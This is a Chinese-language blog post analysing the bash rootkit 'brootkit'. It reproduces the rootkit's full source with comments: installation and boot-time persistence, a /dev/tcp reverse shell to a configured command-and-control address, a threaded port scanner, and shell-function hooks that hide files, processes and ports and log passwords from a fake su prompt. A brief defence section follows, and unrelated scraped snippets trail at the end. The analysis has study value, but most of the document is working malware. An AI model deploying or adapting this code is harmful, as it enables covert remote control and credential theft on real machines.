BROOTKIT Pinciple、Code Analysis(undone)

目录

1. Rootkit相关知识
2. BROOTKIT源码分析
3. 关键技术点
4. 防御策略

1. Rootkit相关知识

关于rootkit的相关其他知识,请参阅以下文章

http://www.cnblogs.com/LittleHann/p/3918030.html
http://www.cnblogs.com/LittleHann/p/3910696.html
http://www.cnblogs.com/LittleHann/p/3879961.html
http://www.cnblogs.com/LittleHann/p/3879118.html
http://www.cnblogs.com/LittleHann/p/3870974.html

2. BROOTKIT源码分析

0x1: br.conf

在安装BROOKIT之前,需要先对br.conf进行配置(如果是freebsd,则需要配置brsh.conf)

brootkit config file.
#the ports will be hide: port1,port2,...,portn.
HIDE_PORT               8080,8899

#the files will be hide: file1,file2,...,filen.
HIDE_FILE               br.conf,bashbd.sh,brootkit,.bdrc,brdaemon

#the process will be hide: process1,process2,...,processn.
HIDE_PROC               bashbd,brootkit,pty.spawn,brdaemon

#the connect back host domain name or ip address. 即本机的rootkit要连接的主控端(C&c)
REMOTE_HOST             10.97.235.12

#the connect back host port.
REMOTE_PORT             8080

#the connect backdoor base sleep time.
SLEEP_TIME              60

0x2: install.sh

#!/bin/bash

BR_ROOTKIT_PATH="/usr/include/..."

declare br_os_type=0
declare br_privilege=1
declare -a br_shell=()
declare br_shell_idx=0
declare -a br_user=()

function br_install_rootkit()
{
    cp brootkit.sh /etc/profile.d/emacs.sh
    #touch -r /etc/profile.d/vim.sh /etc/profile.d/emacs.sh
}

function br_hookhup()
{
        :
}

function br_check_shell()
{
    local idx line user shell

    while read line
    do
        # 从/etc/passwd的一行中读取用户名
        user=`echo $line | cut -d ":" -f 1`
        # 从/etc/passwd的一行中读取当前用户对应的SHELL终端
        shell=`echo $line | cut -d ":" -f 7`

        if [ "$shell" == "/bin/bash" -o "$shell" == "/bin/sh" ]; then
            br_user[br_shell_idx]=$user
            br_shell[br_shell_idx]=$shell
            ((br_shell_idx++))
        fi
    done < /etc/passwd

    [ ${#br_user} -eq 0 ] && echo "no users has bash/sh environment." && exit

    for ((idx = 0; idx < $br_shell_idx; idx++))
    do
        echo "detect user - ${br_user[$idx]} has ${br_shell[$idx]} evnironment."
    done
}

function br_check_privilege()
{
    [ $UID -eq 0 -o $EUID -eq 0 ] && br_privilege=0 || br_privilege=1
}

function br_set_rootkit_path()
{
    if [ $br_privilege -eq 1 ]; then
        BR_ROOTKIT_PATH="/home/$USER/..."
    else
        echo "install brootkit using root privilege."
    fi
}

function br_check_os_type()
{
    local line

    line=`head -n 1 /etc/issue`
    if echo $line|grep "[Cc]ent[Oo][Ss]" >/dev/null; then
        br_os_type=1
    elif echo $line|grep "[Rr]ed.Hat.Enterprise" >/dev/null; then
        br_os_type=2
    elif echo $line|grep "[Uu]buntu" >/dev/null; then
        br_os_type=3
    elif echo $line|grep "[Dd]ebian" >/dev/null; then
        br_os_type=4
    elif echo $line|grep "[Ff]edora" >/dev/null; then
        br_os_type=5
    else
        echo -e "target os type - $line is not supported."
        exit 0
    fi

    echo -e "target os type - $line"
    #echo $br_os_type
}

function br_centos_install()
{
    local idx

    cp brdaemon.sh /etc/rc.d/init.d/brdaemon
    for idx in 0 1 2 3 4 5 6
    do
        ln -s /etc/rc.d/init.d/brdaemon /etc/rc.d/rc$idx.d/S10brdaemon
        [ $? -eq 1 ] && echo "copy brdaemon $idx failed." && exit
    done
}

function br_ubuntu_install()
{
    local idx

    cp brdaemon.sh /etc/init.d/brdaemon
    for idx in 0 1 2 3 4 5 6
    do
        ln -s /etc/init.d/brdaemon /etc/rc$idx.d/S10brdaemon
        [ $? -eq 1 ] && echo "copy brdaemon $idx failed." && exit
    done
    ln -s /etc/init.d/brdaemon /etc/rcS.d/S10brdaemon
}

function br_debian_install()
{
    cp brdaemon.sh /etc/init.d/brdaemon
    update-rc.d -f brdaemon start 20 2 3 4 5
}

function br_fedora_install()
{
        local idx

        cp brdaemon.sh /etc/rc.d/init.d/brdaemon
        for idx in 0 1 2 3 4 5 6
        do
                ln -s /etc/rc.d/init.d/brdaemon /etc/rc.d/rc$idx.d/S10brdaemon
                [ $? -eq 1 ] && echo "copy brdaemon $idx failed." && exit
        done
}

function br_creat_home()
{
    mkdir -p $BR_ROOTKIT_PATH -m 0777
    [ $? -eq 1 ] && echo "mkdir $BR_ROOTKIT_PATH failed." && exit

    # 将相关配置文件、主程序文件拷贝至BROOTKIT的HOME目录下
    cp brootkit.sh br.conf brconfig.sh bashbd.sh brscan.sh $BR_ROOTKIT_PATH
    [ $? -eq 1 ] && echo "copy brootkit failed." && exit

    chmod 777 $BR_ROOTKIT_PATH
}

function br_install_backdoor()
{
        if ! type nohup >/dev/null; then
                nohup $BR_ROOTKIT_PATH/bashbd.sh > /dev/null 2>&1
        [ $? -eq 1 ] && echo "install backdoor failed." && exit
        else
                trap br_hookhup SIGHUP
                $BR_ROOTKIT_PATH/bashbd.sh > /dev/null 2>&1 &
        [ $? -eq 1 ] && echo "install backdoor failed." && exit
        fi
}

function main()
{
    # 检测操作系统类型
    br_check_os_type

    # 根据/etc/passwd检查当前系统中所有用户、以及对应的SHELL终端
    br_check_shell

    # 检测当前是否是特权(root、sduo)用户
    br_check_privilege

    # 设置ROOTKIT路径(BROOTKIT要求必须以特权用户(root、sudo)安装运行): /home/$USER/...
    br_set_rootkit_path

    # 创建B、初始化ROOTKIT的HOME目录
    br_creat_home

    # 安装BROOTKIT: $BR_ROOTKIT_PATH/bashbd.sh
    br_install_backdoor

    # 设置隐蔽的常驻自启动后门
    if [ $br_privilege -eq 0 ]; then
        case $br_os_type in
            1|2)
                # /etc/rc.d/init.d/brdaemon
                br_centos_install ;;
            3)
                # /etc/init.d/brdaemon
                br_ubuntu_install ;;
            4)
                # /etc/init.d/brdaemon
                br_debian_install ;;
            5)
                # /etc/rc.d/init.d/brdaemon
                br_fedora_install ;;
        esac
        br_install_rootkit
    fi

    if [ $? -eq 1 ]; then
        echo "install brootkit failed."
        exit
    else
        echo "install brootkit successful."
    fi
}

main

0x3: bashbd.sh

BROOTKIT的主程序,负责解析载入配置文件,并通过Linux原生提供的特殊Socket设备连接主控端(C&c),即所谓的"肉鸡上线"

#!/bin/bash

declare BR_ROOTKIT_PATH

function br_set_rootkit_path()
{
        if [ $UID -eq 0 -o $EUID -eq 0 ]; then
        BR_ROOTKIT_PATH="/usr/include/..."
    else
                BR_ROOTKIT_PATH="/home/$USER/..."
    fi
}

function br_connect_backdoor()
{
    local target_ip=$br_remote_host
    local target_port=$br_remote_port
    local sleep_time=$br_sleep_time

    while [ 1 ]
    do
        MAX_ROW_NUM=`stty size | cut -d " " -f 1`
        MAX_COL_NUM=`stty size | cut -d " " -f 2`
        {
        PS1=‘[\A j\j \[email protected]\h:t\l \w]\$‘;export PS1
        exec 9<> /dev/tcp/$target_ip/$target_port
        [ $? -ne 0 ] && exit 0 || exec 0<&9;exec 1>&9 2>&1
        if type python >/dev/null;then
            export MAX_ROW_NUM MAX_COL_NUM
            python -c ‘import pty; pty.spawn("/bin/bash")‘
        else
            /bin/bash --rcfile $BR_ROOTKIT_PATH/.bdrc --noprofile -i
        fi
        }&
        wait

        # 通过sleep保持通道联通
        sleep $((RANDOM%sleep_time+sleep_time))
    done
}

br_set_rootkit_path
# 运行$BR_ROOTKIT_PATH/brconfig.sh,加载配置文件
. $BR_ROOTKIT_PATH/brconfig.sh
# 读取$BR_ROOTKIT_PATH/br.conf配置文件中的参数,并保存到本地变量中
br_load_config $BR_ROOTKIT_PATH/br.conf
# 通过Linux原生自带的特殊设备: /dev/[tcp|upd]/host/port 只要读取或者写入这个文件,相当于系统会尝试连接:host 这台机器,对应port端口。如果主机以及端口存在,就建立一个socket 连接。将在,/proc/self/fd目录下面,有对应的文件出现
br_connect_backdoor

Relevant Link:

http://www.cnblogs.com/chengmo/archive/2010/10/22/1858302.html

0x4: brconfig.sh

负责解析加载配置文件的SHELL文件

#!/bin/bash

declare -a br_hide_port
declare -a br_hide_file
declare -a br_hide_proc
declare -a br_remote_host
declare -a br_remote_port
declare br_sleep_time

function br_load_config()
{
        local arg1 arg2 line

        while read line
        do
                [ "${line:0:1}" == "#" -a -z "$line" ] && continue

                arg1=`echo $line | cut -d " " -f 1`
                arg2=`echo $line | cut -d " " -f 2`

                case $arg1 in
                        "HIDE_PORT")
                                br_hide_port=$arg2;;
                        "HIDE_FILE")
                                br_hide_file=$arg2;;
                        "HIDE_PROC")
                                br_hide_proc=$arg2;;
                        "REMOTE_HOST")
                                br_remote_host=$arg2;;
                        "REMOTE_PORT")
                                br_remote_port=$arg2;;
                        "SLEEP_TIME")
                                br_sleep_time=$arg2;;
                esac
        done < $1
}

function display_array()
{
    declare -a arg_tmp=$1
    local arg old_ifs

    old_ifs=$IFS; IFS=","
    for arg in ${arg_tmp[@]}
    do
        echo $arg
    done
    IFS=$old_ifs
}

function br_display_config()
{
        echo -e "HIDE_PORT:"
    display_array $br_hide_port
        echo -e "HIDE_FILE:"
    display_array $br_hide_file
        echo -e "HIDE_PROC:"
    display_array $br_hide_proc
        echo -e "REMOTE_HOST:"
    display_array $br_remote_host
        echo -e "REMOTE_PORT:"
    display_array $br_remote_port
        echo -e "SLEEP_TIME:"
    echo $br_sleep_time
}

0x5: brscan.sh

基于Linux原生自带的/dev/[tcp|upd]/host/port Socket操作技术发起多线程扫描

#!/bin/bash

declare br_remote_host="localhost"
declare -a br_ports
declare -a br_open_ports
declare br_port_num=0
declare br_curr_port_num=0
declare br_open_port_num=0
declare br_thread_num=0
declare br_timeout=2
declare br_logfile="brscan.log"
declare total_run_time
declare max_row_num

declare -a playx=(‘/‘ ‘|‘ ‘\\‘ ‘-‘)
declare playx_len=4

declare max_col_num=64
declare base_row=0
declare base_col=1
declare cur_col=2
declare total_port=10
declare cur_port=0

function br_run_play()
{
        local i x y tmp_col

        tmp_col=$((br_curr_port_num * max_col_num / br_port_num))

        i=$((max_row_num+1))
        [ $br_thread_num -gt $i ] && x=$i || x=$((br_thread_num+4))

        for ((i = 1; i < $tmp_col; i++))
        do
                y=$((base_col+i))
                [ $y -gt $max_col_num ] && break
                echo -ne "\033[${x};${y}H>\033[?25l"
        done
}

function br_play_init()
{
        local x y i

        i=$((max_row_num+1))
        [ $br_thread_num -gt $i ] && x=$i || x=$((br_thread_num+4))

        echo -ne "\033[${x};${base_col}H\033[33m[\033[0m"

        y=$((max_col_num+1))
        echo -ne "\033[${x};${y}H\033[33m]\033[0m"
}

function compute_run_time()
{
        local day hour min rtime

        day=$(($1/3600/24))
        hour=$(($1/3600))
        min=$(($1/60))

        if [ $min -eq 0 ]; then
                sec=$(($1%60))
        total_run_time="$sec s"
        else
                if [ $hour -eq 0 ]; then
                        sec=$(($1%60))
                        total_run_time="$min m $sec s"
                else
                        if [ $day -eq 0 ]; then
                                tmp=$(($1%3600))
                                min=$(($tmp/60))
                                sec=$(($tmp%60))
                                total_run_time="$hour h $min m $sec s"
                        else
                                # 86400 = 3600 * 24
                                tmp=$(($1%86400))
                                hour=$(($tmp/3600))
                                tmp1=$(($tmp%3600))
                                min=$(($tmp1/60))
                                sec=$(($tmp1%60))
                                total_run_time="$day d $hour h $min m $sec s"
                        fi

                fi
        fi
}

function get_run_time()
{
        local run_count local_hz run_time
    local start_time curr_time

    if [ -d "/proc/$1" ]; then
            run_count=`cat /proc/$1/stat | cut -d " " -f 22`
    else
        return 0
    fi

        local_hz=`getconf CLK_TCK`
        start_time=$(($run_count/$local_hz))

        curr_time=`cat /proc/uptime | cut -d " " -f 1 | cut -d "." -f 1`
        run_time=$((curr_time-start_time))

    return $run_time
}

function br_show_open_ports()
{
    local x y i

    get_run_time $$
    run_time=$?

    compute_run_time $run_time

    i=$((max_row_num+1))
    [ $br_thread_num -gt $i ] && x=$i || x=$((br_thread_num+4))

    y=$((max_col_num+3))
    printf "\033[${x};${y}H\033[32;1m %5d/%-5d\t$total_run_time\033[0m"         $br_curr_port_num $br_port_num

    x=$((x+2)); y=1
    printf "\033[${x};${y}H\033[32;1m%s: ${br_open_ports[*]}\033[0m"         $br_remote_host
}

# $1 => remote host
# $2 => remote port
# $3 => thread_num
function thread_scan()
{
    local tport pid pidfile sock_fd
    local i j k m=0 run_time x

    mkdir -p .scan

    for ((i = 0; i < $3; i++))
    do
        {
        let "sock_fd=$2+$i"
        let "j=$2+$i+3"
        /bin/bash -c "exec $j<> /dev/tcp/$1/${br_ports[$sock_fd]}" 2>${br_ports[$sock_fd]}
        }&
        let "k=$2+$i"
        x=$((m+3))
        if [ $x -ge $max_row_num ]; then
             m=0;x=3
        else
            ((m++))
        fi
        printf "\033[${x};1H\033[33mthread<%-5d>\t\t--\t\tpid <%-5d>\t-->\t%-5d\033[?25l"             $i $! ${br_ports[$k]}
        echo ${br_ports[$k]} > ".scan/$!"
        [ $br_curr_port_num -ge $br_port_num ] && break || ((br_curr_port_num++))
    done

    sleep $br_timeout

    exec 2>&-
        for pid in `jobs -p`
        do
        get_run_time $pid
        run_time=$?
        [ $run_time -eq 0 ] && continue

                if [ $run_time -ge $br_timeout ]; then
                        kill -9 $pid >/dev/null 2>&1
            rm -f ".scan/$pid"
                fi
        done

    for ((i = 0; i < $3; i++))
    do
        let "sock_fd=$2+$i"
                if [ ! -s ${br_ports[$sock_fd]} ]; then
            for pid_file in `ls .scan`
            do
                tport=`cat ".scan/$pid_file"`
                if [ $tport -eq ${br_ports[$sock_fd]} ]; then
                    br_open_ports[$br_open_port_num]=${br_ports[$sock_fd]}
                    ((br_open_port_num++))
                fi
            done
                fi

        rm -f ${br_ports[$sock_fd]}
    done

    br_run_play
    br_show_open_ports
    rm -fr .scan
}

# $1 => remote host
# $2 => thread_num
function br_scan_port()
{
    local i

    for ((i = 0; i < $br_port_num; i+=$br_thread_num))
    do
        thread_scan $br_remote_host $i $br_thread_num
    done
}

function br_show_ports()
{
    local i

    for ((i = 0; i < $br_port_num; i++))
    do
        echo ${br_ports[$i]}
    done
}

function parse_port()
{
    local start_port end_port port

    start_port=`echo $1 | cut -d "-" -f 1`
    end_port=`echo $1 | cut -d "-" -f 2`

    for ((port=$start_port; port <= $end_port; port++))
    do
        br_ports[$br_port_num]=$port
        ((br_port_num++))
    done
    ((br_port_num--))
}

function br_parse_port()
{
    declare -a ports
    local tmp_ifs port

    tmp_ifs=$IFS; IFS=‘,‘; ports=$1

    for port in ${ports[@]}
    do
        if echo $port|grep -e ".*-.*" >/dev/null; then
            parse_port $port
        else
            br_ports[$br_port_num]=$port
            ((br_port_num++))
        fi
    done
    IFS=$tmp_ifs
}

function br_show_arg()
{
    echo -ne "\033[1;1H"
    echo -ne "\033[31;1mhost: $br_remote_host | total ports: $br_port_num | thread num: $br_thread_num "
    echo -e "timeout: $br_timeout | logfile: $br_logfile\n\033[0m"
}

function br_scan_init()
{
    echo -ne "\033[2J"
        MAX_ROW_NUM=`stty size|cut -d " " -f 1`
        MAX_COL_NUM=`stty size|cut -d " " -f 2`
    max_row_num=$((MAX_ROW_NUM-5))
}

function br_scan_exit()
{
    echo -e "\033[?25h"
}

function br_usage()
{
    echo -e "$1 <-p> [-n|-t|-o|-h] <remote_host>\n"
    echo -e "option:"
    echo -e "-p\t\tports, pattern: port1,port2,port3-port7,portn..."
    echo -e "-n\t\tthread num, defalut is 10"
    echo -e "-t\t\ttimeout, default is 30s"
    echo -e "-o\t\tresults write into log file, default is brscan.log"
    echo -e "-h\t\thelp information."
    echo -e "\nexp:"
    echo -e "$1 -p 21,22,23-25,80,135-139,8080 -t 20 www.cloud-sec.org"
    echo -e "$1 -p 1-65525 -n 200 -t 20 www.cloud-sec.org"
}

function main()
{
    if [ $# -eq 0 ]; then
        br_usage $0
        exit 0
    fi

    while getopts "p:n:t:o:h" arg
    do
    case $arg in
        p)
            # 解析用户输入的端口信息
            br_parse_port $OPTARG ;;
        n)
            # 线程数
            br_thread_num=$OPTARG ;;
        t)
            # 时间延时
            br_timeout=$OPTARG ;;
        o)
            # 日志文件
            br_logfile=$OPTARG ;;
        h)
            br_usage $0
            exit 0
            ;;
        ?)
            echo "unkown arguments."
            exit 1
            ;;
        esac
    done

    shift $((OPTIND-1))
    # 待扫描的远程主机IP
    br_remote_host=[email protected]

    [ $br_port_num -lt $br_thread_num ] && br_thread_num=$br_port_num

    #br_show_ports
    # 扫描初始化
    br_scan_init
    br_play_init

    # 显示扫描参数
    br_show_arg

    br_scan_port
    br_scan_exit
}

main [email protected]

0x6: brootkit.sh

在全局范围定义了指令别名(alias)和实现函数

#!/bin/bash
# Lightweight rootkit implemented by bash shell scripts v0.08
#
# by wzt 2015     http://www.cloud-sec.org
#

#declare -r builtin
#declare -r declare
#declare -r set
#declare -r fake_unset
#declare -r type
#declare -r typeset

#unalias ls >/dev/null 2>&1

set +v

BR_ROOTKIT_PATH="/usr/include/..."

function abcdmagic()
{
    :
}

function br_hide_engine()
{
        declare -a brootkit_func=(
                                "^typeset.*()|15" "^type.*()|27"
                                "^su.*()|26" "^reset_ps.*()|8"
                                "^reset_netstat.*()|8" "^reset_ls.*()|8"
                                "^reset_command.*()|42" "^ps.*()|14"
                                "^netstat.*()|14" "^max_file_length.*()|9"
                                "^ls.*()|64" "^fake_unset.*()|10"
                                "^fake_command.*()|12" "^display_array.*()|11"
                                "^dir.*()|3" "^declare.*()|41"
                                "^command*()|39" "^builtin.*()|19"
                                "^br_load_config.*()|28" "^br_display_config.*()|14"
                                "^abcdmagic.*()|3" "^/usr/bin/dir.*()|5"
                                "^/bin/ps.*()|5" "^/bin/netstat.*()|5"
                                "^/bin/ls.*()|5" "^br_hide_file=|5"
                "^set.*()|19" "^br_hide_engine.*()|30"
                                )
        local func_line br_func func_name func_num

    echo "$1" >.br.tmp
        for br_func in ${brootkit_func[*]}
        do
                func_name=`echo $br_func | cut -d "|" -f 1`
                func_num=`echo $br_func | cut -d "|" -f 2`
                #echo $func_name $func_num
                func_line=`grep -n "$func_name" .br.tmp| awk -F: {‘print $1‘}`
                #echo $func_line
                sed -i "$func_line,+$func_num d" .br.tmp >/dev/null 2>&1
        done
    cat .br.tmp; rm -f .br.tmp
}

function builtin()
{
    local fake_a

    unset command
    case $1 in
        "declare"|"set"|"unset"|"command"|"type"|"typeset")
                fake_a="$(command builtin $1 $2)"
            br_hide_engine "$fake_a"
            reset_command
            return ;;
        "builtin")
            echo "bash: builtin: builtin: syntax error, bash($BASH_VERSION) is not support."
            reset_command
            return ;;
        *)
            command builtin $1 $2
            reset_command
            ;;
    esac
}

function declare()
{
    local fake_a

    unset command
    case $1 in
        "")
                fake_a="$(command declare $1 $2)"
            br_hide_engine "$fake_a"
            reset_command
            return ;;
        "-f"|"-F")
                fake_a="$(command declare $1 $2)"
                fake_b=${fake_a/\/bin\/ls?()*/}
            echo -n "$fake_b"
            reset_command
            return ;;
        *)
                command declare $1 $2
            reset_command
            return ;;
    esac
}

function typeset()
{
        local fake_a 

    unset command
        case $1 in
                ""|"-f"|"-F")
                        fake_a="$(command declare $1 $2)"
            br_hide_engine "$fake_a"
            reset_command
                        return ;;
                *)
                        command typeset $1 $2
            reset_command
                        return ;;
        esac
}

function type()
{
        case $1 in
                "builtin"|"declare"|"set"|"unset"|"type"|"typeset")
                        echo "$1 is a shell builtin"
                        return ;;
        "dir")
            echo "dir is /usr/bin/dir"
            return ;;
        "ls")
            echo "ls is aliased to ls --color=tty"
            return ;;
        "ps")
            echo "ps is /bin/ps"
            return ;;
        "netstat")
            echo "netstat is hashed (/bin/netstat)"
            return ;;
        "/bin/ls"|"/usr/bin/dir"|"/bin/ps"|"/bin/netstat")
            echo "$1 is $1"
            return ;;
                *)
            unset command
                        command type $1 $2
            reset_command
                        return ;;
        esac
}

function set()
{
        local fake_a

    unset command
        case $1 in
                "")
                        fake_a="$(command set)"
            br_hide_engine "$fake_a"
            reset_command
                        return ;;
        "-x"|"+x")
            reset_command
            return ;;
                *)
            echo $1 $2
                        command set $1 $2
            reset_command
                        return ;;
        esac
}

function fake_unset()
{
        case $1 in
                "builtin"|"declare"|"command"|"set"|"unset"|"type"|"typeset")
                        echo "bash: syntax error, bash($BASH_VERSION) is not support."
                        return ;;
                *)
                        unset $1 $2
                        return ;;
        esac
}

function fake_command()
{
        case $1 in
                "builtin"|"declare"|"command"|"set"|"unset"|"type"|"typeset")
                        echo "bash: syntax error, bash($BASH_VERSION) is not support."
                        return ;;
                *)
            unset command
                        command $1 $2
                        reset_command
                        return ;;
        esac
}

function command()
{
        case $1 in
                "builtin")
            builtin $2 $3
            return ;;
                "declare")
            declare $2 $3
            return ;;
        "set")
            set $2 $3
            return ;;
        "unset")
            fake_unset $2 $3
            . $BR_ROOTKIT_PATH/brootkit.sh
            return ;;
        "type")
            type $2 $3
            return ;;
        "typeset")
            typeset $2 $3
            return ;;
        "command")
            fake_command $2 $3
            return ;;
                *)
            unset command
            command $2 $3
            . $BR_ROOTKIT_PATH/brootkit.sh
            return ;;
        esac
}

function reset_command()
{
    function command()
    {
            case $1 in
                    "builtin")
                            builtin $2 $3
                            return ;;
                    "declare")
                            declare $2 $3
                            return ;;
                    "set")
                            set $2 $3
                            return ;;
                    "unset")
                            fake_unset $2 $3
                            . $BR_ROOTKIT_PATH/brootkit.sh
                            return ;;
                    "type")
                            type $2 $3
                            return ;;
                    "typeset")
                            typeset $2 $3
                            return ;;
                    "command")
                            fake_command $2 $3
                            return ;;
                    *)
                            unset command
                            command $2 $3
                            . $BR_ROOTKIT_PATH/brootkit.sh
                            return ;;
            esac
    }
}

function su()
{
        local arg_list=("" "-" "-l" "--login"
                        "-c" "--command" "--session-command"
                        "-f" "--fast"
                        "-m" "--preserve-environment" "-p"
                        "-s" "--shell=SHELL")
        local flag=0 tmp_arg arg pass

        if [ $UID -eq 0 ]; then
                /bin/su $1; unset su ; return $?
        fi

        for arg in ${arg_list[@]}
        do
                [ "$1" = "$arg" ] && flag=1
        done

        [ $# -eq 0 ] && flag=1

        tmp_arg=$1;tmp_arg=${tmp_arg:0:1};
        [ "$tmp_arg" != "-" -a $flag -eq 0 ] && flag=1

        if [ $flag -ne 1 ];then
                /bin/su $1; return $?
        fi

        [ ! -f /tmp/... ] && `touch /tmp/... && chmod 777 /tmp/... >/dev/null 2>&1`

        echo -ne "Password:\r\033[?25l"
        read -t 30 -s pass
        echo -ne "\033[K\033[?25h"

        /bin/su && unset su && echo $pass >> /tmp/...
}

unalias ls >/dev/null 2>&1

function max_file_length()
{
    local tmp_file sum=0 n=0

    for tmp_file in `/bin/ls [email protected]`
    do
        n=${#tmp_file}
        [ $n -gt $sum ] && sum=$n
    done

    return $sum
}

function ls()
{
    local fake_file max_col_num file_format
    local hide_file hide_flag file_arg old_ifs
    local file_len=0 sum=0 n=0 display_mode=0

    max_col_num=`stty size|cut -d " " -f 2`

        . $BR_ROOTKIT_PATH/brconfig.sh
        br_load_config $BR_ROOTKIT_PATH/br.conf

    for file_arg in [email protected]
    do
            if echo $file_arg|grep -q -e "^-.*l.*"; then
            display_mode=1; break
            fi
    done

    case $display_mode in
    0)
        unset -f /bin/ls
        max_file_length [email protected]
        file_len=$?

        for fake_file in $(/bin/ls [email protected])
            do
            hide_flag=0
                old_ifs=$IFS; IFS=","
                for hide_file in ${br_hide_file[@]}
                do
                        if echo "$fake_file"|grep -e "^$hide_file" >/dev/null;then
                    hide_flag=1; break
                fi
            done
                   IFS=$old_ifs

            [ $hide_flag -eq  1 ] && continue

            n=${#fake_file}
            ((sum=sum+n+file_len))

            if [ $sum -gt $max_col_num ];then
                file_format="%-$file_len""s\n"
                printf $file_format $fake_file
                sum=0
            else
                file_format="%-$file_len""s "
                printf $file_format $fake_file
            fi
            done

        [ $sum -le $max_col_num ] && echo ""
        reset_ls
        return ;;
    1)
        unset -f /bin/ls

        fake_file=`/bin/ls [email protected]`
            old_ifs=$IFS; IFS=","
            for hide_file in ${br_hide_file[@]}
            do
            fake_file=`echo "$fake_file" | sed -e ‘/‘$hide_file‘/d‘`
            done
            IFS=$old_ifs
        echo "$fake_file"
        reset_ls

        return ;;
    esac
}

function dir()
{
    /bin/ls [email protected]
}

function /usr/bin/dir()
{
    unset -f /bin/ls
    /bin/ls [email protected]
    reset_ls
}

function reset_ls()
{
    function /bin/ls()
    {
        unset -f /bin/ls
        /bin/ls [email protected]
        reset_ls
    }
}

function /bin/ls()
{
    unset -f /bin/ls
    /bin/ls [email protected]
    reset_ls
}

function ps()
{
        local proc_name hide_proc old_ifs

        . $BR_ROOTKIT_PATH/brconfig.sh
        br_load_config $BR_ROOTKIT_PATH/br.conf

        old_ifs=$IFS; IFS=","

        proc_name=`/bin/ps [email protected]`
        for hide_proc in ${br_hide_proc[@]}
        do
            proc_name=`echo "$proc_name" | sed -e ‘/‘$hide_proc‘/d‘`
        done

        echo "$proc_name"
    IFS=$old_ifs
}

function reset_ps()
{
        function /bin/ps()
        {
                unset -f /bin/ps
                ps [email protected]
                reset_ps
        }
}

function /bin/ps()
{
        unset -f /bin/ps
        ps [email protected]
        reset_ps
}

function netstat()
{
        local hide_port tmp_port old_ifs

    . $BR_ROOTKIT_PATH/brconfig.sh
    br_load_config $BR_ROOTKIT_PATH/br.conf

    old_ifs=$IFS; IFS=","
        tmp_port=`/bin/netstat [email protected]`
        for hide_port in ${br_hide_port[@]}
        do
                tmp_port=`echo "$tmp_port" | sed -e ‘/‘$hide_port‘/d‘`
        done
        echo "$tmp_port"
    IFS=$old_ifs
}

function reset_netstat()
{
        function /bin/netstat()
        {
                unset -f /bin/netstat
                netstat [email protected]
                reset_netstat
        }
}

function /bin/netstat()
{
        unset -f /bin/netstat
        netstat [email protected]
        reset_netstat
}

Relevant Link:

https://github.com/cloudsec/brootkit

3. 关键技术点

1. more hidable ability against admintrator or hids.
相比于传统的Ring3 ELF Replace Rootkit、VFS Hook Rootkit、LKM ROOTKIT的那种"系统外来物",brootkit的安装和运行并没有造成系统产生很多"异常"的行为,/brootkit有种润物细无声的感觉,充分利用了系统原生提供的机制
    1) Bash
    2) /dev/[tcp、udp]网络socket特殊设备
    3) /etc/profile.d/emac.sh默认自启动脚本
    4) alias function劫持

2. su passwd thief.
3. hide file and directorys.
4. hide process.
5. hide network connections.

6. connect backdoor.
利用了系统原生提供的socket设备文件/dev/[tcp/udp]/..来实现socket连接和sleep保持连接肉鸡上线
7. muilt thread port scanner.
8. http download.

4. 防御策略

BROOTKIT的亮点主要在于基于BASH的自我隐藏、基于/dev/[tcp、udp]的隐蔽网络连接,如果直接从静态的角度来说很难检测出这个rootkit,或者准确地说是很难将brootkit和正常系统文件区分开来,但是从动态主防的角度是可以检测出brootkit的

1. 指令执行捕获
brootkit实现了文件隐藏、进程隐藏,但是黑客在系统上执行的指令依然会被捕获到,例如使用LD_PRELOAD Hook技术

2. 网络外连捕获
cat < /dev/tcp/www.baidu.com/80

exec 3<>/dev/tcp/www.google.com/80
echo -e "GET / HTTP/1.1\r\nhost: http://www.google.com\r\nConnection: close\r\n\r\n" >&3
cat <&3
/*
这种网络外连请求好像不是走的socket connect渠道,目前未找到可行的事件捕获方法
*/

Relevant Link:

http://tldp.org/LDP/abs/html/devref1.html#DEVTCP
http://www.linuxjournal.com/content/more-using-bashs-built-devtcp-file-tcpip
http://www.cnblogs.com/chengmo/archive/2010/10/22/1858302.html
http://blog.csdn.net/zhjutao/article/details/8622751
http://www.cnblogs.com/chengmo/archive/2010/10/22/1858302.html

Copyright (c) 2014 LittleHann All rights reserved

时间: 2024-10-14 12:08:22

BROOTKIT Pinciple、Code Analysis(undone)的相关文章

十四、详述 IntelliJ IDEA 提交代码前的 Code Analysis 机制

在我们用 IntelliJ IDEA 向 SVN 或者 Git 提交代码的时候,IntelliJ IDEA 提供了一个自动分析代码的功能,即Perform code analysis: 如上图所示,当我们勾选Perform code analysis之后,点击commit,IntelliJ IDEA 就会在提交代码之前对项目的代码进行分析检查,并将检查结果以错误和警告的形式展示出来: 如上图所示,这是Code Analysis的结果示例,为No errors and 6 warnings. 如果

PowerDesigner Name、Code 映射设置

1. 设置 Code 大写 2. Code 单词间添加下划线 3. 设置 Name.Code 映射 4. 设置 Glossary 5. Excel 导入 Glossary 6. 共享 Glossary

从Script到Code Blocks、Code Behind到MVC、MVP、MVVM(转载)

http://www.cnblogs.com/indream/p/3602348.html 刚过去的周五(3-14)例行地主持了技术会议,主题正好是<UI层的设计模式——从Script.Code Behind到MVC.MVP.MVVM>,是前一天晚上才定的,中午花了半小时准备了下就开讲了. 今天看到了大家在为MVVM knockout.js友(ji)好(lie)地交流,所以就整理下然后更扩展地分享. 主要目的也不是为了争论,毕竟只是正巧主题相近,原本的打算也就是一次技术分享并且记录下来. 那么

Memcached source code analysis -- Analysis of change of state--reference

This article mainly introduces the process of Memcached, libevent structure of the main thread and worker thread based on the processing of the connection state of mutual conversion (not involving data access operations), the main business logic is t

Memcached source code analysis (threading model)--reference

Look under the start memcahced threading process memcached multi-threaded mainly by instantiating multiple libevent, are a main thread and n workers thread is the main thread or workers thread all through the the libevent management network event, in

CEPH CRUSH 算法源码分析 原文CEPH CRUSH algorithm source code analysis

原文地址 CEPH CRUSH algorithm source code analysis http://www.shalandis.com/original/2016/05/19/CEPH-CRUSH-algorithm-source-code-analysis/ 文章比较深入的写了CRUSH算法的原理和过程.通过调试深入的介绍了CRUSH计算的过程.文章中添加了些内容. 写在前面 读本文前,你需要对ceph的基本操作,pool和CRUSH map非常熟悉.并且较深入的读过源码. 分析的方法

从Script到Code Blocks、Code Behind到MVC、MVP、MVVM

